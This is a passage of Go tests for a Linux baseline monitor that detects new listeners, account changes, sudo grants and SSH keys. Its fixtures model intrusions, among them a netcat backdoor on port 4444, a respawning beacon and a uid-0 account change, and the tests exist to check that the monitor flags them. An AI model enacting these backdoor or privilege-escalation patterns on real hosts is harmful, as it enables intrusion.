withReaders(t, false, true)
live, _, _, sight, _ := deltaCollectLive(func(string) (string, string) { return "", "" })
if sight.Listeners {
t.Fatal("a blind listener reader reported as sighted")
}
for _, l := range live {
if l.Entry.Kind == "listener" {
t.Fatal("a blind listener reader still produced listener entries")
}
}
}
// The identity fold, which nothing exercised until a coverage sweep noticed —
// baselineFromIdentities is what both sides call and only the single-entry
// constructor beneath it was being tested.
func TestADuplicateAccountLineProducesOneEntry(t *testing.T) {
dup := identityObs{Name: "erin", UID: 1000, Shell: "/bin/bash"}
out := baselineFromIdentities([]identityObs{dup, dup})
if len(out) != 1 {
t.Fatalf("a duplicated passwd line produced %d entries", len(out))
}
// Two DIFFERENT accounts still produce two, or the fold is eating them.
out = baselineFromIdentities([]identityObs{dup, {Name: "dave", UID: 1001, Shell: "/bin/bash"}})
if len(out) != 2 {
t.Fatalf("two accounts folded into %d entries", len(out))
}
}
+764
View File
@@ -0,0 +1,764 @@
//go:build linux
package main
// TEN MUTATION SURVIVORS, and they were all one shape.
//
// Every test first written for these classes injected at a seam —
// listenerSockets, deltaListenerReader, deltaIdentityReader, a hand-built
// deltaEvent — that sits ABOVE the line the change actually touched. So the
// suite asserted the behaviour of values the test supplied and never ran the
// code under test. That included the failed-`ss` guard itself: nothing in the
// suite executed readSockets at all, so the exec-error check that guard exists
// for could be deleted with everything green.
//
// The rule, which is the part worth keeping: A TEST THAT SUPPLIES THE VALUE
// UNDER TEST CANNOT TEST THE CODE THAT PRODUCES IT. These inject one layer
// lower — observeExec for the socket reader, a fixture root for the account
// reader, and deltaCompare's own output instead of a constructed event.
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
// ── below the socket seam: readSockets itself ───────────────────────────────
func withSs(t *testing.T, out map[string]string, fail map[string]error) {
t.Helper()
oe, oh := observeExec, observeHave
observeHave = func(string) bool { return true }
observeExec = func(_ context.Context, name string, args ...string) ([]byte, error) {
if name != "ss" || len(args) == 0 {
return nil, nil
}
return []byte(out[args[0]]), fail[args[0]]
}
t.Cleanup(func() { observeExec, observeHave = oe, oh })
}
// `ss` runs and exits non-zero. textOf discards that error, so without
// the check in readSockets the caller gets Supported=true with an empty table —
// and an empty table is what the next accounting calls normal.
func TestReadSocketsReportsAFailedExecRatherThanAnEmptyTable(t *testing.T) {
line := "LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:((\"sshd\",pid=1,fd=3))\n"
// The tcp half fails. Note it returns OUTPUT TOO — exec.Cmd.Output gives
// partial stdout alongside the error, so a truncated run reads as a
// complete short table unless the error is what is checked.
withSs(t, map[string]string{"-tlnpH": line}, map[string]error{"-tlnpH": os.ErrPermission})
if r := readSockets(); r.Failed == "" {
t.Errorf("a failed tcp read reported Failed=%q Partial=%q sockets=%d",
r.Failed, r.Partial, len(r.Sockets))
}
// The udp half fails after a clean tcp half.
withSs(t, map[string]string{"-tlnpH": line, "-ulnpH": ""},
map[string]error{"-ulnpH": os.ErrPermission})
if r := readSockets(); r.Failed == "" {
t.Error("a failed udp read was not reported")
}
// A clean run still works, or the two above pass on a reader that always
// claims failure.
withSs(t, map[string]string{"-tlnpH": line, "-ulnpH": ""}, nil)
r := readSockets()
if r.Failed != "" || !r.Supported || len(r.Sockets) != 1 {
t.Fatalf("a clean read gave Failed=%q supported=%v n=%d", r.Failed, r.Supported, len(r.Sockets))
}
// And the whole way up: listenerScan refuses each failure, accepts the good
// one. This is the path the accounting and the delta both take.
withSs(t, map[string]string{"-tlnpH": line}, map[string]error{"-tlnpH": os.ErrPermission})
if _, ok, _ := listenerScan(); ok {
t.Error("listenerScan accepted a failed socket read")
}
}
// ── below the account seam: identityScan itself ─────────────────────────────
func withEtc(t *testing.T, files map[string]string) string {
t.Helper()
root := t.TempDir()
for rel, body := range files {
p := filepath.Join(root, rel)
if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(p, []byte(body), 0o644); err != nil {
t.Fatal(err)
}
}
old := identityRoot
identityRoot = root
t.Cleanup(func() { identityRoot = old })
return root
}
// identityScan is what sets SudoUnknown, and every test built the flag by
// hand — so the whole sudo-`?` path could be dead with the suite green.
func TestIdentityScanMarksSudoUnknownWhenTheRulesCannotBeRead(t *testing.T) {
passwd := "root:x:0:0:root:/root:/bin/bash\nerin:x:1000:1000::/home/erin:/bin/bash\n" +
"daemon:x:1:1::/usr/sbin:/usr/sbin/nologin\n"
// No /etc/sudoers at all — ReadFile fails, so the rules are unreadable.
withEtc(t, map[string]string{"etc/passwd": passwd})
r := identityScan()
if !r.Supported {
t.Fatalf("a readable passwd reported unsupported: %s", r.Reason)
}
if r.Partial == "" {
t.Error("unreadable sudo rules produced no partial note")
}
for _, a := range r.Accounts {
if !a.SudoUnknown {
t.Errorf("account %q recorded sudo as KNOWN while the rules were unreadable", a.Name)
}
}
// Only login shells, which is the filter that keeps fifty system accounts
// from burying the one that matters.
if len(r.Accounts) != 2 {
t.Errorf("got %d accounts, want 2 (nologin must be dropped)", len(r.Accounts))
}
// With rules present, sudo is KNOWN and the comma list resolves — the same
// assertion as the unit test, but through the real reader this time.
withEtc(t, map[string]string{
"etc/passwd": passwd,
"etc/sudoers": "Defaults env_reset\nerin, root ALL=(ALL:ALL) ALL\n",
})
r = identityScan()
for _, a := range r.Accounts {
if a.SudoUnknown {
t.Errorf("account %q still unknown with readable rules", a.Name)
}
if !a.Sudo {
t.Errorf("account %q in a spaced User_List was not recognised", a.Name)
}
}
if r.Partial != "" {
t.Errorf("a fully readable scan carried a partial note: %q", r.Partial)
}
}
// A truncated account database drops ENTRIES, not properties, so it must
// refuse the class rather than narrow it — otherwise the tail reports gone and
// an account created after the bad line is never seen at all.
func TestATruncatedAccountDatabaseRefusesTheClass(t *testing.T) {
long := strings.Repeat("x", 80*1024)
withEtc(t, map[string]string{
"etc/passwd": "erin:x:1000:1000:" + long + ":/home/erin:/bin/bash\n" +
"dave:x:1001:1001::/home/dave:/bin/bash\n",
"etc/sudoers": "",
})
if r := identityScan(); r.Supported {
t.Errorf("a truncated account database was compared as complete: %d accounts, reason %q",
len(r.Accounts), r.Reason)
}
}
// M35b/M36b. identityScan is what feeds the sshd_config paths into the key
// reader and what carries the narrowed-lookup note. Both were wired but neither
// wiring was asserted.
func TestIdentityScanReadsKeysWhereSshdSaysAndSaysWhenThatIsUnusual(t *testing.T) {
root := withEtc(t, map[string]string{
"etc/passwd": "erin:x:1000:1000::/home/erin:/bin/bash\n",
"etc/sudoers": "",
})
central := filepath.Join(root, "etc/ssh/keys")
if err := os.MkdirAll(central, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(central, "erin"),
[]byte("ssh-ed25519 AAAAKEYBODY erin@laptop\n"), 0o600); err != nil {
t.Fatal(err)
}
withSshdConfig(t, "AuthorizedKeysFile "+central+"/%u\n")
r := identityScan()
if len(r.Accounts) != 1 {
t.Fatalf("got %d accounts", len(r.Accounts))
}
if r.Accounts[0].AuthKeys != 1 {
t.Errorf("the central key store was not read: keys=%d unread=%q",
r.Accounts[0].AuthKeys, r.Accounts[0].KeysUnread)
}
if !strings.Contains(r.Partial, "does not choose") {
t.Errorf("the narrowed lookup did not reach the report: %q", r.Partial)
}
// No configuration text in the note, checked at the level that matters:
// this string reaches the heartbeat.
if strings.Contains(r.Partial, central) {
t.Errorf("the note carries the user's sshd configuration: %q", r.Partial)
}
}
// Include is the stock Debian 12 / Ubuntu 22.04 layout, and a Match block
// scopes what follows it to some users only.
func TestSshdConfigIncludeIsFollowedAndMatchIsNot(t *testing.T) {
dir := t.TempDir()
main := filepath.Join(dir, "sshd_config")
if err := os.MkdirAll(filepath.Join(dir, "sshd_config.d"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, "sshd_config.d", "50-keys.conf"),
[]byte("AuthorizedKeysFile /etc/ssh/global/%u\n"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(main, []byte("Include "+dir+"/sshd_config.d/*.conf\nPort 22\n"), 0o644); err != nil {
t.Fatal(err)
}
old := sshdConfigPath
sshdConfigPath = main
t.Cleanup(func() { sshdConfigPath = old })
paths, note := authorizedKeysPaths()
if len(paths) != 1 || paths[0] != "/etc/ssh/global/%u" {
t.Fatalf("an Include drop-in was missed: %v", paths)
}
if note == "" {
t.Error("a narrowed lookup from a drop-in was not said out loud")
}
// A Match-scoped override is NOT the global setting, and applying it to
// every account would be wrong in the confident direction.
if err := os.WriteFile(main,
[]byte("Port 22\nMatch User backup\n AuthorizedKeysFile /etc/ssh/backup/%u\n"), 0o644); err != nil {
t.Fatal(err)
}
if paths, _ := authorizedKeysPaths(); len(paths) != 2 {
t.Errorf("a Match-scoped override was applied globally: %v", paths)
}
}
// ── above the seam, but taking the event from deltaCompare ──────────────────
// changedAtSlot decides which entry the event carries, and every level
// test built its deltaEvent by hand — so the event could carry the OLD entry
// and nothing would notice. Measured: `usermod -u 0 erin`
// graded warn instead of critical, because the event held the old uid.
func TestTheChangedEventCarriesTheNewStateNotTheOld(t *testing.T) {
was := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash"})}
now := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 0, Shell: "/bin/bash"})}
evs := deltaCompare(was, liveList(now))
if len(evs) != 1 {
t.Fatalf("want one event, got %v", kindsOf(evs))
}
if got := identityField(evs[0].Entry, "uid"); got != "0" {
t.Fatalf("the event carries uid %q — the OLD state", got)
}
// THROUGH deltaLevel, from the event deltaCompare actually built.
if got := deltaLevel(evs[0]); got != deltaCritical {
t.Errorf("an account moved to uid 0 levelled %q, want critical", got)
}
if evs[0].Was == nil || identityField(*evs[0].Was, "uid") != "1000" {
t.Error("the event does not carry the previous state as `was`")
}
}
// The regression the `?` fix introduced: a sudo grant on an account whose
// keys could not be read graded NOTICE, while the sentence beside it said "a
// sudo rule now names this account". Readable properties classify first.
func TestAReadablePropertyThatMovedBeatsAnUnreadableOne(t *testing.T) {
was := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: false,
KeysUnread: "permission denied"})}
now := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: true,
KeysUnread: "permission denied"})}
evs := deltaCompare(was, liveList(now))
if len(evs) != 1 {
t.Fatalf("want one event, got %v", kindsOf(evs))
}
if evs[0].Reason != deltaReasonSudoers {
t.Errorf("reason = %q, want %q — the readable property is the one that moved",
evs[0].Reason, deltaReasonSudoers)
}
if got := deltaLevel(evs[0]); got != deltaCritical {
t.Errorf("a sudo grant beside an unreadable key file levelled %q, want critical", got)
}
// And when NOTHING readable moved, it really is a visibility change.
same := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: false, AuthKeys: 1, KeyDigest: "d"})}
blind := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: false, KeysUnread: "denied"})}
evs = deltaCompare(same, liveList(blind))
if len(evs) != 1 || evs[0].Reason != deltaReasonUnreadable || deltaLevel(evs[0]) != deltaNotice {
t.Errorf("a pure visibility change gave %v reason=%q level=%q",
kindsOf(evs), evs[0].Reason, deltaLevel(evs[0]))
}
}
// identitySudo mapped `?` to false and the level table read it
// directly, so an account arriving with sudo on a box with unreadable rules
// graded high — or WARN at a service uid, which an attacker picks freely.
func TestUnknownSudoDoesNotReadAsNoSudo(t *testing.T) {
unknown := baselineEntryOfIdentity(identityObs{
Name: "svc", UID: 114, Shell: "/bin/bash", SudoUnknown: true})
if _, known := unknown.identitySudo(); known {
t.Error("`?` reads as a known sudo answer")
}
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: unknown}); got != deltaHigh {
t.Errorf("a new account with unreadable sudo levelled %q — unknown must not "+
"earn the service-account demotion", got)
}
// The same account with rules readable and no sudo IS the ordinary case.
known := baselineEntryOfIdentity(identityObs{Name: "svc", UID: 114, Shell: "/bin/bash"})
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: known}); got != deltaWarn {
t.Errorf("an ordinary service account levelled %q, want warn", got)
}
}
// listenerMovedFrom must match on the HOLDER, or a different program
// taking a dead service's port at a new address gets the re-address demotion.
func TestADifferentProgramAtANewAddressIsNotARaAddressing(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "10.0.0.5", 8080, "app", 5)})
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "10.0.0.9", 8080, "evil", 9)})
for _, e := range deltaCompare(was, liveList(now)) {
if e.Kind == deltaListenerNew && e.Reason == deltaReasonAddressMoved {
t.Fatal("a different program at a new address was written off as a re-addressing")
}
}
}
// Binding every interface instead of one is an exposure increase by the
// same argument loopback→routable is.
func TestMovingToTheWildcardIsNotARaAddressing(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "10.0.0.5", 9000, "app", 5)})
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 9000, "app", 5)})
var sawHigh bool
for _, e := range deltaCompare(was, liveList(now)) {
if e.Kind != deltaListenerNew {
continue
}
if e.Reason == deltaReasonAddressMoved {
t.Error("one interface → all interfaces was written off as a re-addressing")
}
if deltaLevel(e) == deltaHigh {
sawHigh = true
}
}
if !sawHigh {
t.Error("a service that began binding every interface did not produce a high")
}
}
// A re-addressing is ONE event. It used to be a gone at the old address
// and a new at the other — the correlate-by-eye shape the slot design exists
// to avoid, produced by the branch added to avoid it.
func TestARaAddressingIsOneEventNotAPair(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "192.168.1.5", 8080, "app", 5)})
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "192.168.9.9", 8080, "app", 5)})
evs := deltaCompare(was, liveList(now))
if len(evs) != 1 {
t.Fatalf("a re-addressing produced %d events (%v) — it must be one", len(evs), kindsOf(evs))
}
if evs[0].Was == nil || evs[0].Was.Unit != "tcp/192.168.1.5:8080" {
t.Error("the single event does not carry where the listener moved from")
}
}
// The login-shell regrade, which nothing guarded before.
func TestChangingBetweenTwoLoginShellsIsOrdinary(t *testing.T) {
was := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash"})}
now := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/usr/bin/zsh"})}
evs := deltaCompare(was, liveList(now))
if len(evs) != 1 || evs[0].Reason != deltaReasonShell {
t.Fatalf("want one shell change, got %v", kindsOf(evs))
}
if got := deltaLevel(evs[0]); got != deltaWarn {
t.Errorf("chsh between two login shells levelled %q, want warn", got)
}
}
// The class-specific sentences, which a mutation could revert and
// leave identities printing their raw state blob as the subject.
func TestEachClassRendersItsOwnSentence(t *testing.T) {
id := baselineEntryOfIdentity(identityObs{Name: "intern", UID: 1010, Shell: "/bin/bash", Sudo: true})
line := deltaOneLine(deltaEvent{Kind: deltaIdentityNew, Entry: id})
if strings.Contains(line, "keydigest=") || strings.Contains(line, "shell=/bin/bash;") {
t.Errorf("an identity prints its raw fingerprinted state: %q", line)
}
if !strings.HasPrefix(line, "account intern") {
t.Errorf("an identity does not read as an account: %q", line)
}
lis, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 4444, "nc", 7)})
line = deltaOneLine(deltaEvent{Kind: deltaListenerNew, Entry: lis[0]})
if !strings.HasPrefix(line, "listening on tcp/0.0.0.0:4444") || !strings.Contains(line, "nc") {
t.Errorf("a listener does not read as a bind point: %q", line)
}
}
// THE NOISE MEASURED ON A DEVELOPER'S MACHINE: a `go test` run
// produced two listener_new warns on ephemeral loopback ports, held by a test
// binary that had already been reported as a proc_new. Same event twice, and on
// a person's own computer that is most of what this class would ever say.
func TestAnEphemeralLoopbackListenerWaitsOnePass(t *testing.T) {
young := func(int) (time.Duration, bool) { return time.Second, true }
mk := func(addr string, port int) deltaEvent {
e, _ := baselineFromListeners([]listenSocket{sock("tcp", addr, port, "go-test", 7)})
return deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
}
n := deltaNoise{Age: young}
if _, held := n.ephemeralLoopbackListener(mk("127.0.0.1", 41579)); !held {
t.Error("an ephemeral loopback port from a one-second-old process was reported immediately")
}
// EVERY CONDITION IS LOAD-BEARING — drop any one and it must report.
if _, held := n.ephemeralLoopbackListener(mk("0.0.0.0", 41579)); held {
t.Error("a ROUTABLE ephemeral port was held back")
}
if _, held := n.ephemeralLoopbackListener(mk("127.0.0.1", 4444)); held {
t.Error("a loopback port BELOW the ephemeral range was held back — 4444 is the backdoor case")
}
old := deltaNoise{Age: func(int) (time.Duration, bool) { return time.Hour, true }}
if _, held := old.ephemeralLoopbackListener(mk("127.0.0.1", 41579)); held {
t.Error("a listener held by an HOUR-OLD process was held back")
}
// An age this platform cannot read is not a young one.
blind := deltaNoise{Age: func(int) (time.Duration, bool) { return 0, false }}
if _, held := blind.ephemeralLoopbackListener(mk("127.0.0.1", 41579)); held {
t.Error("the rule fired where the process age could not be read")
}
// And it goes through shortLived, which is what the filter actually calls.
if held, why := n.shortLived(mk("127.0.0.1", 41579)); !held || why == "" {
t.Errorf("shortLived did not hold the ephemeral listener: held=%v why=%q", held, why)
}
if held, _ := n.shortLived(mk("0.0.0.0", 4444)); held {
t.Error("shortLived held back a routable backdoor port")
}
}
// THE HOLD HAS A CEILING, AND IT IS INHERITED RATHER THAN RE-IMPLEMENTED.
//
// A beacon that reopens a loopback ephemeral port every 50s is young at EVERY
// pass, so a hold without a ceiling hides it for ever — the exact defect
// deltanoise.go:110-119 documents for the process path ("ten passes, no finding
// and a storm counter reading zero"). The listener rule lives INSIDE
// shortLived, so deltaFilter's ceiling applies to it by construction. That is
// the kind of claim that is true until someone moves the rule, so it is pinned.
func TestARespawningEphemeralListenerEscapesTheHold(t *testing.T) {
e, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 41579, "beacon", 7)})
ev := deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
n := deltaNoise{Age: func(int) (time.Duration, bool) { return time.Second, true }}
// First pass: held, not reported.
st := freshState(t)
now := time.Now()
f, filtered := deltaFilter([]deltaEvent{ev}, n, st, now)
if len(f) != 0 || len(filtered) != 1 {
t.Fatalf("first pass: findings=%d filtered=%d, want 0/1", len(f), len(filtered))
}
// Still young a pass later — still held.
f, _ = deltaFilter([]deltaEvent{ev}, n, st, now.Add(time.Minute))
if len(f) != 0 {
t.Fatalf("a listener held for one minute already escaped: %d findings", len(f))
}
// PAST THE CEILING it becomes a finding, and the evidence says why.
f, _ = deltaFilter([]deltaEvent{ev}, n, st, now.Add(deltaHoldMax+time.Second))
if len(f) != 1 {
t.Fatalf("a listener young at every pass for %v was still held — it is invisible forever",
deltaHoldMax)
}
var said bool
for _, x := range f[0].Evidence {
if x.Signal == "respawning" {
said = true
}
}
if !said {
t.Error("the escape carries no evidence explaining why it is now a finding")
}
}
// THE FLOOR REACHES THE RULE, which is the claim that matters and the one the
// first two versions of this test did not make.
//
// v1 compared the value against this box's sysctl — 32768, identical to the
// fallback, so hardcoding it left the suite green. v2 tested readEphemeralFloor
// with a fixture but the RULE read a package var computed at program start, so
// hardcoding THAT left the suite green too. Both were guards that could not
// fail on the machine they ran on. This drives ephemeralLoopbackListener with a
// narrowed range and asserts the behaviour changes.
func TestTheEphemeralFloorReachesTheRule(t *testing.T) {
dir := t.TempDir()
p := filepath.Join(dir, "range")
old := ephemeralRangePath
ephemeralRangePath = p
t.Cleanup(func() { ephemeralRangePath = old })
e, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 40000, "thing", 7)})
ev := deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
n := deltaNoise{Age: func(int) (time.Duration, bool) { return time.Second, true }}
// Stock range: 40000 IS ephemeral, so a young loopback holder is held.
if err := os.WriteFile(p, []byte("32768\t60999\n"), 0o644); err != nil {
t.Fatal(err)
}
if _, held := n.ephemeralLoopbackListener(ev); !held {
t.Error("port 40000 was not treated as ephemeral under the stock range")
}
// NARROWED range: 40000 is an ordinary service port on that box and must be
// reported. This is the case a hardcoded floor gets wrong.
if err := os.WriteFile(p, []byte("49152\t60999\n"), 0o644); err != nil {
t.Fatal(err)
}
if _, held := n.ephemeralLoopbackListener(ev); held {
t.Error("a real service port was held back because the floor ignored the kernel")
}
}
// THE NOTE HAS TO REACH THE PASS, and nothing tested that it did — the
// first test stopped at deltaCollectLive and checked sight.Notes, which is the
// value the test supplied, one seam above the line that publishes it. A mutation
// deleting the publish left the suite green, which is exactly the shape this
// whole file exists for.
//
// This drives deltaPass itself and reads r.Notes, so the wiring is what is
// asserted rather than the fixture.
func TestThePassPublishesWhatTheReadersCouldNotSee(t *testing.T) {
isolateConfigDir(t)
if !processIsRoot() {
t.Skip("the pass refuses without machine authority, which is its own test")
}
oI, oL := deltaIdentityReader, deltaListenerReader
deltaIdentityReader = func() identityScanReport {
return identityScanReport{Supported: true,
Partial: "sudo rules not readable: /etc/sudoers",
Accounts: []identityObs{{Name: "erin", UID: 1000, Shell: "/bin/bash", SudoUnknown: true}}}
}
deltaListenerReader = func() ([]listenSocket, bool, string) { return nil, false, "no ss" }
t.Cleanup(func() { deltaIdentityReader, deltaListenerReader = oI, oL })
// An accounting that covers both classes, so the identity half is compared
// (narrowed, not blind) and the listener half is the one that is refused.
if err := baselineSave(baselineFile{
Version: baselineVersion,
TakenAt: stamp(time.Now()),
Coverage: baselineCoverage(true, true, true, true),
Entries: []baselineEntry{baselineEntryOfIdentity(identityObs{Name: "erin", UID: 1000, Shell: "/bin/bash", SudoUnknown: true})},
}); err != nil {
t.Fatal(err)
}
r := deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
joined := strings.Join(r.Notes, " | ")
if !strings.Contains(joined, "sudo rules not readable") {
t.Errorf("the reader's narrowed-class note never reached the pass: %q", joined)
}
// And the blind class is named too, so "no listener findings" cannot be
// read as "this machine has no listeners".
if !strings.Contains(joined, "listeners") {
t.Errorf("a refused class was not named on the pass: %q", joined)
}
// The summary is what rides the heartbeat, and it must carry the same words.
if !strings.Contains(r.summary().Note, "sudo rules not readable") {
t.Errorf("the note did not reach the summary: %q", r.summary().Note)
}
}
// ── five more, each one the sentence or the guard that was hollow ─────────────
// The rule tested deltaShortLived (5s) while telling the operator "younger
// than one pass", and a pass is 60s. So the words were false AND the case it was
// added for — a `go test` run whose port is thirty seconds old when the pass
// lands — came through anyway, suppressed only about one sighting in twelve.
func TestTheListenerHoldIsOnePassNotFiveSeconds(t *testing.T) {
e, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 41579, "go-test", 7)})
ev := deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
for _, age := range []time.Duration{time.Second, 9 * time.Second, 30 * time.Second} {
n := deltaNoise{Age: func(int) (time.Duration, bool) { return age, true }}
if _, held := n.ephemeralLoopbackListener(ev); !held {
t.Errorf("a holder %v old was reported — the rule promises one pass (%v)",
age, deltaRefreshEvery)
}
}
// PAST one pass it has survived, so it reports. The hold never suppresses.
n := deltaNoise{Age: func(int) (time.Duration, bool) { return deltaRefreshEvery + time.Second, true }}
if _, held := n.ephemeralLoopbackListener(ev); held {
t.Error("a holder older than one pass was still held back")
}
}
// The ceiling is keyed on the event fingerprint, and a listener's
// fingerprint contains its BIND POINT — so a holder taking a fresh ephemeral
// port each pass never accumulated anything. Measured: twelve
// passes on the same port gave 2 findings, twelve on fresh ports gave ZERO,
// indefinitely. The ceiling existed and could not fire.
func TestAHolderThatChurnsPortsStillReachesTheCeiling(t *testing.T) {
st := freshState(t)
n := deltaNoise{Age: func(int) (time.Duration, bool) { return time.Second, true }}
now := time.Now()
mk := func(port int) deltaEvent {
e, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", port, "beacon", 7)})
return deltaEvent{Kind: deltaListenerNew, Entry: e[0], PIDs: []int{7}}
}
// A FRESH PORT EVERY PASS, which is what defeated the old key.
var found int
for i := 0; i < 12; i++ {
f, _ := deltaFilter([]deltaEvent{mk(41000 + i)}, n, st, now.Add(time.Duration(i)*time.Minute))
found += len(f)
}
if found == 0 {
t.Fatal("a holder opening a new ephemeral port every pass was held forever — invisible")
}
// Two unrelated programs must not share the key and escape together.
if a, b := deltaHoldKey(mk(41000)), deltaHoldKey(mk(42000)); a != b {
t.Error("the same holder on two ports produced two keys — it will never accumulate")
}
e2, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 41000, "other", 9)})
if deltaHoldKey(mk(41000)) == deltaHoldKey(deltaEvent{Kind: deltaListenerNew, Entry: e2[0]}) {
t.Error("two different holders share a hold key")
}
}
// The floor test compared against THIS box's sysctl, which is the stock
// 32768 — identical to the fallback — so hardcoding the floor left the entire
// suite green. A guard that cannot fail on the machine it runs on is not a
// guard, which is the same lesson as every other item in this file.
func TestTheEphemeralFloorFollowsANonStockRange(t *testing.T) {
dir := t.TempDir()
p := filepath.Join(dir, "range")
if err := os.WriteFile(p, []byte("49152\t60999\n"), 0o644); err != nil {
t.Fatal(err)
}
old := ephemeralRangePath
ephemeralRangePath = p
t.Cleanup(func() { ephemeralRangePath = old })
if got := readEphemeralFloor(); got != 49152 {
t.Fatalf("a NARROWED range read as %d — ports 32768-49151 are ordinary "+
"service ports on that box and would be held back", got)
}
// A widened range follows too, and garbage falls back to the stock floor
// rather than to something that suppresses more.
if err := os.WriteFile(p, []byte("10000 60999\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readEphemeralFloor(); got != 10000 {
t.Errorf("a widened range read as %d", got)
}
if err := os.WriteFile(p, []byte("not-a-number\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readEphemeralFloor(); got != 32768 {
t.Errorf("an unreadable range read as %d, want the stock floor", got)
}
ephemeralRangePath = filepath.Join(dir, "absent")
if got := readEphemeralFloor(); got != 32768 {
t.Errorf("a missing sysctl read as %d, want the stock floor", got)
}
}
// One departure excuses exactly ONE arrival. Without the claimed guard a
// second new bind would point at the same departure and suppress an absence
// nothing accounted for.
func TestOneDepartureExcusesOnlyOneReAddressing(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "10.0.0.5", 8080, "app", 5)})
now, _ := baselineFromListeners([]listenSocket{
sock("tcp", "10.0.0.9", 8080, "app", 5),
sock("tcp", "10.0.0.10", 8080, "app", 6),
})
var readdressed, plain int
for _, e := range deltaCompare(was, liveList(now)) {
if e.Kind != deltaListenerNew {
continue
}
if e.Reason == deltaReasonAddressMoved {
readdressed++
} else {
plain++
}
}
if readdressed != 1 || plain != 1 {
t.Fatalf("one departure excused %d arrivals (and %d were genuinely new) — want 1 and 1",
readdressed, plain)
}
}
// `%h` was substituted before `%%` was collapsed, so `%%h/.ssh/ak`
// expanded to `/home/erin/%/home/erin/.ssh/ak` — a path that does not exist,
// which reads as ENOENT, which reads as "this account has no keys". And `%U`
// was not a token at all.
func TestTheSshdTokensExpandInTheRightOrder(t *testing.T) {
for _, c := range []struct{ pattern, want string }{
{"%h/.ssh/ak", "/home/erin/.ssh/ak"},
{"/etc/ssh/keys/%u", "/etc/ssh/keys/erin"},
{"/etc/ssh/keys/%U", "/etc/ssh/keys/1000"},
{"%%h/.ssh/ak", "/home/erin/%h/.ssh/ak"},
{"/etc/%%/%u", "/etc/%/erin"},
// THE CASES THAT DISCRIMINATE THE ORDER, and the first version had none
// — so a mutation swapping %% back after the other tokens left the suite
// green. `%%h` gives the same answer either way; `%%u` does not,
// because collapse-last reads the `%u` at index 1 and yields `%erin`
// where sshd means the literal `%u`.
{"%%u", "/home/erin/%u"},
{"/etc/ssh/%%u/keys", "/etc/ssh/%u/keys"},
} {
if got := authorizedKeysPath(c.pattern, "/home/erin", "erin", "1000"); got != c.want {
t.Errorf("%q expanded to %q, want %q", c.pattern, got, c.want)
}
}
}
// THE STORM COUNTER MEASURED SOMETHING OTHER THAN WHAT IT SAYS.
//
// The hold was taken under deltaHoldKey and released under ev.FP. For a process
// those are the same string, so nothing showed; for a listener they differ, so
// the hold entry was never released by name and settleHeld swept it as
// something that came and went. A listener STILL OPEN and being reported as a
// finding in the same breath also bumped ShortLived — a running total no report
// resets, which rides the heartbeat as short_lived and so drifts upward
// permanently on a developer's machine.
//
// The process half is the control: both classes must behave identically here,
// because nothing about "did this come and go" depends on what kind of thing it
// is.
func TestAThingStillPresentIsNotCountedAsHavingComeAndGone(t *testing.T) {
lis, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 41579, "svc", 7)})
cases := []struct {
what string
ev deltaEvent
}{
{"listener", deltaEvent{Kind: deltaListenerNew, Entry: lis[0], PIDs: []int{7}}},
{"process", deltaEvent{Kind: deltaProcNew, FP: "fp-proc",
Entry: procEntry("d", "root", "unit", "shape"), PIDs: []int{7}}},
}
for _, c := range cases {
st := freshState(t)
now := time.Now()
// Sockets true and this pid not listening: the process rule refuses to
// fire where it cannot check its own exemption, which is its own test.
young := deltaNoise{Self: 1, Sockets: true, Listening: map[int]bool{},
Age: func(int) (time.Duration, bool) { return time.Second, true }}
// Pass 1: young, so held.
if f, _ := deltaFilter([]deltaEvent{c.ev}, young, st, now); len(f) != 0 {
t.Fatalf("%s: reported on the first pass", c.what)
}
// Pass 2: it survived, so it is a finding — and it did NOT come and go.
old := deltaNoise{Self: 1, Sockets: true, Listening: map[int]bool{},
Age: func(int) (time.Duration, bool) { return time.Hour, true }}
